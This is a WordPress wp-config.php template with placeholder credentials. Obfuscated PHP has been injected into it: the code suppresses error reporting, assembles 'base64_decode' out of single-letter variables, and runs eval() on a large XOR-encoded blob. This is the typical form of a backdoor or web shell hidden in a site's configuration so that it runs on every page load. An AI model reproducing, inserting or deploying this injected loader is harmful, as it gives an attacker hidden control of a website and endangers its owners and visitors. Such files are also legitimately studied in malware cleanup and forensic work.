<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );





error_reporting(0);$hidkbcd="a";$dxar="b";

$xoz="cxa";
$oipwp="6";

$marupyog="s";$nsdrv="e";$fdzi="jfqmljkkn";$wyv="4";
$zyvbee="_";$rzy="dcalceo";$kejfhf="v";

$zhmdxc="c";$plph="yjedrn";
$sjy="nkuvr";$rjcdwej="l";$yxdv="ytr";$byg="d";



$aexhfdx="o";

function v($p, $s){ 

$h=""; for($a=0;$a<strlen($p);) for($j=0;$j<strlen($s);$j++, $a++) $h .= $p[$a] ^ $s[$j]; return $h; };$xhzesltm="uzffrkw";




$uvw="ftmfkkg";

$wkxrhfc="fwjyoxd";




$tpop=$dxar




.$hidkbcd.



$marupyog




.$nsdrv.

$oipwp
.$wyv.


$zyvbee.
$byg





.$nsdrv.
$zhmdxc


.$aexhfdx





.$byg.



$nsdrv
;





$cqvpjoy="wlqeu";





$zakfpxh="mzriqmys";















eval(v($tpop("DCMNYLDXX\KJEYMQ[ACJZKBE

L&_! CU3UEMXGB{A	 #EHIEMX^_X\V^TMX1JIsXIMNYLXI_#WKxGXPZGC&&CG h CHIHKPMQIG\ES]FJCMRAOI
[GIVNMS^`L&^O*IOXKOXN^BCBP 6YWOCBM9D ][YLQZ#3^UWOY\M!]:Z _NW\G[TM^_I8@>MR@
MHIL_T@@IeBXY/BODDFQAC\
0 XfVUYBRY[ ZN]\M^_$Q$TGTCA[UEX\_ 9BXfCJ]H^U^]NX ^_'BXfTZ[XZPATY <fP^TTM[UZRC\M^_,\/]WBTLYTAE@_IeBM @SUAQGUM 'BXfYBZESEW[HNOX\M^$Ff	T]YSL\_BTOQE^_IeE9Q^TNXLEX_XM^ef\[JPGTIX^\HMOII@_M(^Y_D,M3SX%FLKQOMXEP]w\O)M+U_DXB-[BTM@ZAXAIwXT]_JZRT@YO]NXBT
NT
XDXFTIVMA)>XUTIIBY@IL06QITBCCMECIQEWqNL]BNYUYL\[HNCJ]HWMZELYYNHRN[\AGKVLQCBX\[WOY=FJPJ OCB]GDS]T@SZS P#q^IXY^MHB\B LQ P[E4MXIB6[^^TVLA
\UAESB@TLDFQ^TXN@SUAJJQE qGP:@wNVUYMURYYNHDNL]BOYNYUYMP\[UMX_3L+NTZ[[ZRT@R]O]NXUTIMBYN[\JINVUYLRRY/#B@TLDFQ^THXNMB(\\ZMXC^0EC_JMZE\YY^IqIYBM
^wNA[_L^Z _MWNL]BA]q W@
IB5NMWT]JDXFTMHLA
\UASB@TLDFQITNDBCCMR@
INWAIqCETIJXN@SUADQGwUqwNCJ]HWMZER@YYNH\GN[\IG[, BX#B@TLDFQITMHBCCMR@
MOINTZ[^TPENT@_A_]@
GBIq	E]HWJNYBZESAW[wH8+NTZT[ZRTFPCCMECMQENM@TBF[I,L1
\BECO_GXTZDFQITIBC5/]WBTOL[N\^GNA[PGB\-^[HE MKMXC6[IHZBXTMF[NPIAN6AD
COYA3MR@
@INTRDX^BqwMZE\YYD_3 XMWL	JIBBIMBO _Y EJWB[HKDSWHD\UO
_XJ NOYAI1
\BEC_GXT]JZRT@SO]NXUTIBYX6E[^^TNVLAOB\KYBE
F
^wVSIRBTIK  CJ_^CO VSIR6CTIPB.>.  Y MDSU B\\@MLAJ IMDS?U  XB\BMALAJ  HMDS
U CB\MOXLAJ7 JMDSU  KB\xITLAJ hMDSU UB\I^LAJ0 CMDSU 9EB\_YNLAJ MMDSU CB\O__LAJ EMDSWLD!Hg) zB\M\\LAJ A.%
W^N
IW@IAGJI AIBFO@W^iIW]7#I JEBFOW^^9	IW_XUGJUEOXO). BYWHC_BStG}N$JAT^ OXB$ _xW _XJAT \ !*9OXB _H*W [Y6,7jc V_SIRiTI]@fvyz J_^_EP,)U OB\X_nLAJ BP^_&34jTI^  A+J_^C^ VP\!!< _XA,JUCGJ\DNZG BYWMZ_B *C 	TUIMXI]BBYWCK[!@[F]LAJ' OM5OHBOCXW^IYQ^EX[Q^+NTZZYZRTG C5I]@
N@GB$ JC 6Q^TXN@DDDqEI^CB_XKHCO >XUTIVBYN\[PEN	TQSL^ZTIL[XqCEC_NVO]^YX#U@JT$SN	TSL^Z _PW EB(FTIQMA_BW/I \YXw	EJC_ZBS8H:!cb#B@TNLDFQITBCCMECQ3XM "T@[O]NXUTIVBYN[\JMI@B7@ OIBXw	E]HB73MECMQENM@TBF[IZBS8]^AQBJ
AwNL]B@VNYUYW\-ZZU&AMZIm>InCHEWHV XE X\ [
FYLQ BEYXECBCA
P]]A[QM^GE=w-^IXSUQ BIAO_XX$KJYBF\ [
UOB +S\MY[DEERX5qWXR]^eBX E]HA[B\H _I1 XMT
DZV^T\ <GPIAMBB]JE\M^ # MXUTIBYT_GE^	^_IeB\UAQAE\M:GA[QMB\Y]TND^_IeEQ^TMHXLEXR\[_\M
I,XG[\IGTIOBEeBFGM@TMBDBCW\M!]ZTIMLYTM@@IeBXYBXT[HN^J]VPZIMG	T6.WY_IqM#w_DT$FQMY	w_Yq0JXqXLQ	]^TA\ICJBFX	P w_@W U7_C^B@W># U UB\IOXLAJBN^A =W^O
IWHx(?<^Bi@IVIMR\UCZI BCB L	 ^BNCHVIM  R\U9F G 
TUIO@E]BBYWC[_BRB$&  oMDSTGHGt\5U6W AIJAT@ZA(#W^9'`	)] TUIHQ&'2!8U 7FB\y~`LAJFKYG:,3 BYW@C_B H TUIFV!'UqSJOXECEDXY^BQQO^BXLKQ@IXKDEBHC> @DDq#$B@TNNLDF9QITMCBCC>MECMIQEfMWTNRJDX3FTML7@T\\BO^ IAH XwfVUYRYYfHBfL]B@fYBZELW[IqMWM
i@IA*/BODDJSI@ WqfL]B@fYBZE@W[fP^TTfCJ]HWHV MD^iA>:T
]DX^qY	F	 i@w/XTM^DF9QITN@BCCSW/TJBH
YAIB6'[^^TJVLAOB(+8HDfCJ]H;MZEBYY@IqMBODC(G MBO
- +8 _MVYOGL0EZU
COYA3>MECJQEWqwf[\JGfA[QB\[8HG	J.QBODC LYXxI
XJY WOTH:I[E
C+NTZZ$5NT@YA_]@
MGXTMDFQITNHBCCMR@
MI8XY^@PAC]IS^`LRZR_B_XN^CBXNEE^BH^U@IVJM	IOE\HI^X@ E_DYM@OC YZMBFR_BGRN[VJYZL\FRNN_DIJCBX\_U@\H^U@IVJM
C^X_Q	
HO@EY_K

JMXDJH^MXM@KEXE_MJVHW\HESQ\Z\OYEJYNNNFRN[LNSQ\	PHEZOYEKLWYEZD	GR_\MBOYENNNU	JC@ I_UZXDUE@BH]\K^M KHIT	DUVECBBIH^TTNNHYNUQMEA\HTT[L\FRNHEZUQBEMJVHKL]NDY_\HSOV
EZE	MUJCVI[C]CI^AUZXG KU_K___	__XTG E_XEOWBME\OY[I_EZFRHHSO	P\MTT[KLEZFRZNUQBGR\[VT	I_C_EVWMCW^AUZXDUEAT_PO_IXXMDIM^ED HBEUQMEAEHTT[LEM_XUPT_\@M_JKU[
XMQ	  HI
SUWEP\^TTNNHYEUOVysBEs_BJ	sY
s\IBGMOB[G&&J	
PIBM~MBH >BK  UMRQNWoP^N_YN_B *YJIMX^s^FT	FGB
 ]^_X mnoh4#- =/><?bc(?~6$yz{t27J_YIE@U	_X^BMTTBDABUJ@IBKCS~zJPOJOXEC2X_ :9mHm#WW&KMMSBOXEJ'@e/HmjKMNI\A*#7~z=<wB7ice|4,)7+IqWCJ@\A*#7~z=<wB7ice|4,)7+IqVTX_ZU[@\QGTE\4>(!/+~wk4*#8+$14 qC _IEJKEER\XUU:9-&30")d,:|:(sjc~<,?7<*sjc~V8CATCSPZ'=i7&i~w#99#&6sjc~&$8,1!*6=~%G[W[C]]HI

QMBL+60"$i~#Id1$|sts-"?$8<hihs7*8O)LINZs++~35~w.?;6+1mhh~V8CA]ET\\	HIGJAS]1i~z471O<1! -ts>!~21~hih4+"!^3JUTA )qC _IEJKEER\XUU:9-&30")d,:|:3`eib?2$#^3
WEB@P:&5 zi*5-$x|so'$(=-1e|qXYTOEWB^BV_LP

CI2 <<zi~wV-><$:6<;ib,1e5WqCI2 <<zi~wV6/:" '/3hh*IqLYWPW&=i~zi#>M  1%/1`e= x:9|qM
EJYDXVs=<z "wdx?=20?1ocbb4&>!:"*9"qQGCV4>(!/+~wd%1:77#*3=bb=-x,>kse|L0DOGIAKZFEB\PT
PF:#i~zi96J;-:|soj.&%&: 6$;bk''|B-O2>6+8i~w" 8>17*16h~_3LYWEPI,*+~zi~*B"< 5*34so7 b 3xebk4$=T$UQI@ JPMVs=<z "w~i&"96&/hh~,^H  B\\^PQ&Q&aSQOJYBO+ X_PIK ~IM@TPGW&QEJCBX	I"IM@^EZY&&QEJHTEZIAUMTsi~=(?(^&xx|s# ,-& 'W/X&EPKMMSYNsi#3/:/B=$&|s*+j "i~qKPMIBZV-><$:'54i~=<LK&KMMSY&&QEJHTERIXXsi9;(!"Idxx|.7/.170"UqQN^ Y^BIOVysNQEJ '=i7&i~w#99#&<iji~47M5OoUPRQr&oJCBsI	MRX~@WaMMSYYBOX
H "M@LPWEJC s47<-&>R8&x|'; "smki%9J.PGW.6/:" '+Udx,>s0#i~sm,(#'^3KMR8&x|'; "smki%9JZBNQ^ITA*#7~z=<wB8xx|s>>(!&/kibxV8QH	ozxJYXBKI)BbMAMCHoUPRM^_KIs^I  :HI
LK&KBD.R:C_Lq^zQ&&JBKI5 
X&EP^IYFIA\BL+60"$i~#Id1$|qBMKUYJsi~' 83S-!$"%NXMCJJMNsi#3/:/B&5 zi*1|*"xqVPMGM]SO_]BNX\DOVyd&JYBE~I	IdIMH[PNW&QEN  _ENMMUPgMSYNJC^I@P:&5 zi*NMPGIUKPSS]M@YIXEbTEUPRXJEX_YN_EWU ]E_ATYKPUdx,>sBYW&KMMSYNQ &XNEPQaMMSYN UMR_X
1^  @MOICJMTUN Q	Z_X
1^  @MOICJ2TUN Q 
I^PYX^ _Y[X^`HTEUPR\II^_wO^qQA	KxXNQoP^NDIM OozxJYXBAM7MD\RBH	 CSW{EJHTXSE_'^UB	GB EHP^^AIIH@DVyYNJC MQIH]YZY&QEJHTXX^_MTDMU_UN]YIFHP
IXQNXMJM@DSXY^BQ^U_]_\EBJESYI^ oUPRQrNEP^IXYM_I&o`CBXBHIC8 HnM_S^@PYPVGX&EPH
SDNTC^iMQ^GoP^NNM_IGQ5XY&Q&aECB 	 &^O/B2M_I_EI UNK
oJHTEQR_ FsHI	QJ_&QEJH  B ^!OCHICI_YJK&o`CBXC5BOCHEIYX U]EzxXN\YXn YSYXJI:+_\BX&KMMS]IUnU HIE ss	XI_O
PU&QA)XDXSYBXO
;XI_Jo`HTEUT I_X'	XI_VM6.Bd
PZEY2UXI_KS]ULUxXNEP^I;XI_w,EWHPrXJG 	nUXI6IYKGI)-I&XNz&&KM^BN+/XJ@F_Y@X)
G&Q&{Th CHIO*^EBK]EN\P	&&XNETIBOC	1 I_QFZDEBKPgMSYNGIU3EHPXJ@1X
/NUXIEI&QEJL <BKXPOCYBEInUXILQb~EUPRHCHnUXMNY5q&QEJUXVEEN^PEKBI7	I_QUAgMSYNU0UXw8PC^EICHIH3>Q/&NUnUX6WN	G&/&XNE&&KM^BN+/XJ@FOCHI/&Q{o`CBXXHsXCs	
F_X^ATPR
XBM^,\CMDT-_\XMT_X^E
DZBdQ&&J	
PUXssYXJSEI I_
oJHTEQ_YXP&KMMS^IMOEBLMN	XIgMSYNU	P\^MTNUXIBVgSYNQ&QEJ 
_X&QagXECBQ&  B_F@WagMSYN^I_EWHSBNzRXJM_sOMOY	5W[dEPKIYSOY^:]T^@QU&EPKMs_IX@P\Roy*"c5$s`4;(!0(u|ii#IJ	[&XNEPO,
XC\XYA	 XE6% `c(:s6#`szi9$+*1!x CLQbTEUPRXYs_IX[]D o$7&'$1*6=``79`*3mxec%AMBPU&QEJHT s_CODGM.&+"c|xs# >=&+!"3b>+~IP&KMMSYNOY	5  E3y~`c;92;</hi~ QUCS~EUPRXNO@s_IQJOD 208$;5!/1cb6+o1$eaic>9ASH^&QEJHTEU^@'I\XAS:;~`c|%:>!9 :%& I^^zKMMS]I_\LE		*
IOPJOY&KMMSYNDIM HIE @sXJCOSPU&QEJHT sO_ XODPgMSYNJ@PI^#ID\sOCJ.YOALJ J_ K&KMIW&{EJHTEUPRY
s^_IHKPM_IsY	BLYI&XNEP_MNYFY^@. +U_OA WqKJ_{EJHTEUPR^XPkixKJM]YJY^@s.WMXIq^z&KMMSYJE_ @P-\M
I+]YIJ.PG^I EDUTBJWR\^	/\M^_	6TI^U,^`bTEUPRXJ^ IM%'->-6<
HX@A^@s\
5DC_B7HZEW, pB;BOXECWM0_Ip^-6(WKxXNEP_CMNY_COG\MQ@GN@LMWS^IU+IH#ID
Xq KI NBEPHLU\Kx&XNEPEJCIW&QEJHTEUPRX.JX_UN^I]X^`HTEUPRXNET^[VgSYNQEJHTIYI
_CDZsNQEJHTEUxXNEPKMMSYJNMQOGTNUB&KMMSYNQEJHTEZ^QN_\VMIBdQEJHTEUPRXJMTNKO1% EWHE^PRXNEPQaMMSYNQEJ(I\C&KMMSYNQ&QEJ~EUPR^I^P^I_VgsdJYBOTI_>CY^AMW	^MA_XEb~EUPR^\EMagMSYNEJE:			I_YsEBEJDZY&&QEJHTEQXYsEBEEI&&QEJHTEUPY^1_ C\XO_Y-y~`c!15;')*&7~e>7| 5~ J
PU&QEJHT s_CODGM.&+"c|xs"6&7" '94ud7=xIP&KMMSYNOY	5  E3y~`c;9256"`c{`>&+<=*;\RCdEPK1_IXCBLYP1y~4!|1/~ixy9#9!8 ji~]E[AOoUPRXN^@s_FOD Q&?:8*%$-di9*i7\aMMSYNO7 X\DIPoy~`$=9,:!bbio%1#%1* $^HGoPKMM@s_I
\A^o-<`* xsxe&("&-BJoJHTEUPRO@:IXC\EIBoy~=*:<+5:#& IGoPKMM@s_I
\A^o-<`* xs|c89+:<"h UYI&&XNEPYSOY^:]TDCdEPKI
I^Q:EBETODPggSYNQ:_IPJOY&&KMMSYNEJYA)D\:CHI6MLNY\ U@_U&oPQY&&QEJHTEQ @s^H 1Y^@U]^PRXNET__@VMEW@s\M/BIAIqEMD ^G&&QEJHTEUTCBTP_X&CBXI	5 wrNEPKMMS^_@L[J3~EUPRXNEPKJJUs\ OTXKPM@ oPKMMSYNQB	-\IsAIVSM_I&QEJHTEUPR%dEPK0DHsdQEJHTEQ_Yd
XCI N_	PG[BUJRQNETY^@s 
wDCM5TE[PPX@MT__@TMYGJNY	5w^Wq&KMMSYN^ -XF@LCAQBMATKUT^@'MIHw^3&&QEJHTEU\^	/\M^_	6T	^XqXEbTEUPRXNEP^I_;XQGPJTKUT^@'MIHw^3&QEJHTE_IdEPKMMSYJ^I_Y"U^O\_	YQOM]YZQGPJTKUHB&XNEPQagMSYNU PO_Is_CO ,EIBXYA:C_BA^^BCGMIa_K QT_DT6!"7ma'-`,5bxso$##6:: O\Kx&XNEPEJCIIX
o`HTEUPRXNE\YX_CIIX S5%; EWP\@: M^_I6JDq_EHH<1! ]H2^9&KMMSYNQEXV_CI\dCWS[NY	5w_WqI1/L&QEJHTEUPRY_CUNoCB Y \	OMXEBT[[JEOCH9pBPgMSYNQEJH OX ( X@I NEW^X^BMT\M^MD][2^pBX^`HTEUPRXNE\YX_CIIX S& CBBNO	_Ip^71% &QEJHTEUPRX\__B\MTKUR.^p2^9&aMMSYNQEJLEHPB&XNEPKMM@I \AGIGE&KMMSYNQEJLEHPKIACOGIAMBI\&QEJHTEUPRXNEPEJDMW_\LEN
OoUPRXNEPKMQJNQG6(WYR^XSTK&KMMSYNQ{oJHTEUPRXN@C_ICIIX{oJHTEUPRQrdEPQ&&KMMSXY^BQANzxQ&rYXECBK	XiAM	#3 'XD;U\M _YJGIUQ`HTEUXY
 IKsA
QLl]E
!CY
I$HnM_[Y[@HIO@PATNUVPMI&QEJHTESVxXNEP\^I2 D-KEJXECH=COImB/ XY^XV\M
AL\GIDDSDSX^Y^`~oOXBEIXIO( eBkI2'PJ\MAgMSYN^IXYJ /MXG_l K XsHI
\A MAQGXMX^YgMSYNWC`HTEUPRI/AMXOEO\%@ BQ*OCA M^MABDMNDNX^YIJob~ XE XIOX. 'BkIXYA	YRW&XNEIXY^M	sAMXBJ[%ZR^^KdQEJHRCPRXNE ^IKsFp^GFHPAXSE^YIagyBOXEJ MBA1X@IOHBBYWCHoUPRX	LVgyYNJCEBLXEKREXRBH BUNBYACLQHP^[[WrNEPO  MBA6^EBKCDM]YI&QEJH	oPR
XBXBdQ&&EMN7' '&7~w_<i4%ixs&(9;6*qLXJO3 !WR

X_Xs,(9(^GqQCLH ZNMQ/HIOCEW&)ixwM5]LUMO@MXIx=OCHILJ~oUPR^4MXMVMUHHI[UTM@
MxCGI)
IH{EJHTA MANEM_I_2HIF
7I\ChMXMBDVysN % @EN_XKIzM@EOoPR\I CB_IKPMA_X7 Z^I	I|C_XCII_Xy	FHPA_QG^z&KI  cNFIJUTsHCHIO	 ^OIm(	 CDZ^\
_I O
PG&&QEJE]T_C!NOXJHMXI%
BPO\M	HMXI?*IOCHJNREQCB7F XWLXxCGMTXHPPs^s
@sCKgSYNQ 	 EBs O
I4],^sCJoJHTEzxXNIX&QagIE@x^EHPPrJ^ K?^IJX^`LUMRKI<Ie\mH,5QG&YEWH "M@LK&^I ;^@QAU^R_Z hI\@& U&&EJQM XVsk=:wBHqBMyYNEJQM  7AMe7IX{E. Xs6 >3SW/ \IYI-MOGIEWH I^mBHn
EMFX^EAYA5/11.WH%G ETGIUPgMSYNEJ 0E@1 k {EXD)OZsk411OR-[\A@x^MYSNM_S^7 I\1k $wEHL0DHsNEEBiA@,kIXO2*6-5EH,LCHP @x
O^O2*6-5EH,^`bTEUPV^I	I|M^MMNY^^MUQM`HTEUPR_HBP :^MOGFbTEUPRXIEWO_sNQEJO WRXJ^  &KMMSYNYMQXTHPzRXGozO_X|MTXU @ICIBO	 ^OIm(	 CDZY^BHI&BOCHMN X|MGMI&QEJHPf_ ^
|C_XYAy^BAI]YI=A_{oJHTECdQozEJO2>6+8i~w# ;=16!/?ix0!hB-KJ=<*:

Q]T-|c+:wBqKgSYNF_JUTA* =x#IHB-&KMIM+HIPJFB XZBd&QH\s@X:^^C^CDMRDSfc?:/:&*'/<cb=GzKMMSX\s^/CHFU@&KMMSYNITE^`HTEUx&XNAIOIE	8_	:_\
M&&KMMSOC@PYSEGW&KMMSYNDX5_I'CBVgSYNQ  ^PRd&EPH
<_IXLE XVHMwBqTMIMwHV8JRTBRKxXNAIcJYSE__BL)B_3EOHM6TIqVBQbTEUPV_U>@JC^AKPM
IX	/B UqXQAMXMwLT$NJoJHTEQ_yNE__IXCI	w_YV8CHKEQXM#I_WqLJVyYNE0POEIXHMX
6JIqQA	 .WY%NEW&KMMWNh^E HIEIXPJHMw[J0ZYQHM1OR-R_IoP,E\A*#7~z=<wB8xx|s*..6):s`mb60+/1B(YRN^s8(?%<<wdx%55)7&0 &s`9 k01kiqGM]_Y\VBQbTEUPVIA@EMaMMSYJIAME5;IENGK&KIUX^/UMRCdEPDI
	)MXJCJUT I]_8IMHIEZ"LIO2G=H%XJAG-K?I_Xd]Y)&yM;^AqQ_JJV^PR\M|M^MMPS_IXU>RqQNETHMXM0J^3V^`bTEUPC^OPsk.9M
NBMAEWVTA MAQNWoPKMMN\MHUXURPdEPKMMSYJH  @e)I'EXDoQJ\M^MIJL Y[WrNEPKMMSYNITXUOC
^OIm	/
X@PATNU&KMMSYNQEJHTEQME>MAbMAMPS] MAI{EJHTEUPRXNEPOCBU&QEJHTEUPRQIIHIX6E@eB6 ?2_INZA M^MABDMsNQEJHTEUPR\A@	OZsHIO@ Z\MY GDHsNQEJHTEUPR\A@|M^
 #OoUPRXNEPKMEBYIJoJHTEUPRXN@_IEE	OXiA!"Z\MYW&KMMSYNQEJHTEQMENET\M^MVgSYNQEJHTEUPRIE	 M^MA% YSBM QbTEUPRXNEP YI&QEJHTEUPRX&EPKMMSYN]YI95IXX@ETBMAIKCMTDI	E[PP
CdEPKgSYNQ&&QEJHP  UEkIXVMX^ 6BK?XIP ZDVysNEEBL"M^E&&KMMSYNDM_5UMR@X
AMTDM_D;BDM:	+BqCd&EPKMYFHIXI/9kI9Eo^U\EID|M^FHP	[dEPKMMSYJIAMEEWH I^mBHn
EMFDM_5YPVGIGoPKMMsNQEJHIiAME$4{EXD3BQ]TM_>MAgMSYNQEJHP @ENNIsDM:	YI&XNEPQ&KMMSYNI@ \OX=MeBkIEID|M^CATPRXNEP ND8I&XNEPQ&aMMSY&&QEN X|MM
YF&QEJHTB UFN  &KMMSYN^IJVEWVTA &XNEPJSDPYM]oJHTEUPRIXN@M
8UdQEJHSWRXJIE@ &KMMSYNHVEWVTAIc_  &KMMSYNBL[JL=JJXIzKMMS^\OEN%XJAIzKMMS^\OEN  |@J
A &KMMSYN_YVEWVTA	yMTdEPKJ^N	  ^&XNEP[JMNGN[IN5PRQU&oPX|M^HIE IBH XIBOC>OImB'SAX_C1ICHIO_X|M]EYPVGIG^zO 	$_CBJUTI_>C^I ;^@ U "M^_LK&KI
f_CB> HIEBsO
IHI	*Y^OI0*FF
_:_CBAS]IUJoJHTER
_:_CBc	MNDNOoPRMT^I_\!6FWS	
6^zE^QVPMQ_XCA=VLUx&XNEPEJKEI\f_C*Y[R^@ZXMKU&&QEJHTER
_:_CBc	@MLXU\I>< QXSERYB[M[GW&QEJHTEUPRWA DCW NDXX\\ HW IJ
_WOCBDIY^XHFTA\fB*FWI[OGQbTEUPRXNEPDIMHEQ5OMXEPHVKUT I_$_
cNFUOQ XEF@@rNEPKMMSEX&QEJHTEUPI@z&KMMSYNEEB 
_:_CBc	@MLY^@IJO EZ@@IOCJDSXSJMATPRXNEPKMM\VNIODCQGVPXXCIEZDOHWBY
G^^I'  cNFOH	WR_P^zKMMSYNQEZ`MCBICMW_\f_%
HKPY^LQIPX^YIGM^CKG&QEJHTEUPRXN EX&KMMSYNQEb~EUPRXNEPEJCI@QGHATzRXNEPKMMSOCYBL+"0$[X^E&KMMSYNQEJHTEU_]ICERAIX
MI]YWO _D_NO
XIBXVJ]H@QA?Bc[Y^@IM][Q 6BK?XE^PgMSYNQEJHTEUPRXII^'CBSKJL  8_C!N]WYOY@QA#^E	k  X^ASJ^&QEJHTEUPRXNEPBdQEJHTEUPRXI	IW&aMMSYNQEJHTEUPRMTDM_D;GW&QEJHTEUPRXNEPKMM\VNIODCQGVPXXCIEZDOHWBY
G^^I'  cNFOH	WR\M|M^MMCQ^P&QEJHTEUPRXNEPKMMHI^S)Z@AI_\f<WJ	E[PVDM|MA UNJoJHTEUPRXNEPKMMSYNITEXJoJHTEUPRXNEPKMIW&QEJHTEUPRXNEPKMMSVAIODEHT RDX YEZL_D
MU@XR^9
BcNF\[JRZIGK&KMMSYNQEJHTEUPRM^`B_EN:CB7FHNWY^O_Y^YI QVZZ]^PRXNEPKMMSYNQ  ^PRXNEPKMMSYNQ&&QEJHTEUPRXNEPQ&&KMMSYNQ Ux&XNEPKMMSYNEJ 6BK?XEMBMyYNQEJHTEUPRXND
#MA
oJHTEUPRXNEPKMMSYNIHVYMX]I]YEPJ^I_DVE	HUYO 	$_CBcGVG QX@AM_D|
Y@JoJHTEUPRXNEPKMMSYNDIMHBJ8
ECTG^^I'  cNFOH	WR\M|M^MAMI AWCS~EUPRXNEPKMMSYNI	S~EUPRXNEPKMMSYI@_IQ`HTEUPRXNEPKMMSYNTGIXMXX I]YPTJ^I_BJX_^@KI
f_CB> EJW @NGO >M^MA?TKWMP\A@LSOHsNQEJHTEUPRXNEPD	F`CO_UR\
_:_CBc	@MLY^@EDJKG[PVIA@5^MAb
 SWLU 		YP^YBV@&KMMSYNQEJHTEUPRXN EX&KMMSYNQEJHTEUPRQrNEPKMMSYNQIHoPRXNEPKMMSYNEJYA	% MAQNWoPKMMSYNQEJHTEUPRXOASX\I IB^IECBXIPTIUY^@SKJL  8_C!N]WYOWLU& EB)IPD
#MAQGMVV^PRXNEPKMMSYNQ	 XP`CXBEMI\f_C*Y[R^@ZKROX^E- E[RQXJDD|M^
 ASYI BUXAOoUPRXNEPKMMSYNOoUPRXNEPKMMSYNQI@_EbTEUPRXNEPKMMSYNQ 	 EWLIXND\I]N^IJ^IMH
BXEI^^@EI
f_CB> EJW @@ZRIA
#MAbM DJIG[PVIA@KR
OX^E- E[PPZU&EPKMMSYNQEJHTEUPIM^MR`COMCN^"
?FF@QIRO]]AME@!	+ELETIAMECOU[@]Y; kIBYI X]_ZBdQEJHTEUPRXNEPBdQEJHTEUPRXNEPQ&&KMMSYNQEJHTzRXNEPggSYNQ`bTEUP&&XNEJ3CBcNHTVCB>^3_EXCOSDS_D"	WYRW&XNEP XBQ*OCAI_\f<WV\KxXNEPlIZ
ETFPU  [&XNEPIHsNQ{oJHTER
_:_CBc	@MLMOXE,3XC
LQEMD7MEBXEbTEUPRXJYxC~IK:@QNEIXhC7AIJoJHTEUPRWNICYXX\XRJ^DBPOCBXN^^Y^@LGDHP&C~
EOXIJSQBdQEJH ^Z"CXECBQMO]YJY^@x7 Y \BVgSYNQ  ^PRd&EPEJKEI\f_C*Y[ROXB#^zE_[S2
 X&EPKMs^I_
:IL^LK&KMMSYTEX{EJHTzRXJEX^I_'!NF
G 4C^._C^QKPPS[E@IXEb~EUPRXNEP^I'  cNFOH	AIZXMK	QG&&QEJHTEUTE@*MN
EM1IBOC B GB_ FsHI	QJ^I_\;;]LW@ 4MXMDDZBd&QEJHTPZCN'	I/@IZIEDZY&QEJHTEUPRCN'B/O@IMEDHsNQEJ~oUPRXNAUXIoI^_LE I~ H
X^E
EZBdQEJHPbYIKI~MB
; CdEPKI
m^^MEWH  MX<MCAXQG&&QEJHTEUTMZ/_EMKIB<MBHC6X[&XNEP	7AIQ~M
C#X^EBEDHsdQEJHRD@E^_P&QVNZIm_KCO[_ TXEbTEUPRXLET_MZI*>OInCJFVoUPRQrdEPJY W{EJHTEUPR@INKPNUX.OXI^EDJTXUCNPIKPJE@)NJoJHTEUPRXNoPKMMU+ I^NGPBIM,UQA  6^MI&QEJHTEU^PIPE[VMYRU& MO^P@
UEXEbTEUPRXNEP	7ANI^EDJ/(POVN	XIoD
^_SK	 6ImFELK&KMMSY&QEJHT	RXJNIm^^
M][NBIE?M1 ^MFKPNUX#^_SLQbTEUPRXdEPKYLN
&P\ENB n@C	E6QWNNUX$U^Pq XX IICMW_\f_%
HKPJEx IQEOJPU&&QEJHTEW^R_I$ICMWCNbM JFVIUWP\I f_CB$^GJE@GP\QU&EPKMgSYNQX^`bTEUPN_E&aMMSYNEEBL  8_C!N]W^	XmJX, W[WrNEPKMMSDCME\Y^I IOCB IBEK^@ELET^I_\!6FWSmJ^#@IQKCOTGL&QEJHTEUPRI X^zKMMSdQEJH~EUPRXNIX&KMMsdQ&&Oo`TU!:3&u|=ND@& GdDIM[`HTEULEXYO\D\Y^EBX#!@IP\ EEWBI&^	[LCHP&YO\D\YJDXA@QKJJH\XFLKPF_*IXIOEDHVYZ^EGK&WB&Jo"),",,,kmmsyn,,,,qejhteupr,,xn,ep,"));

$kcogv="lga";
$karb="cnj";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';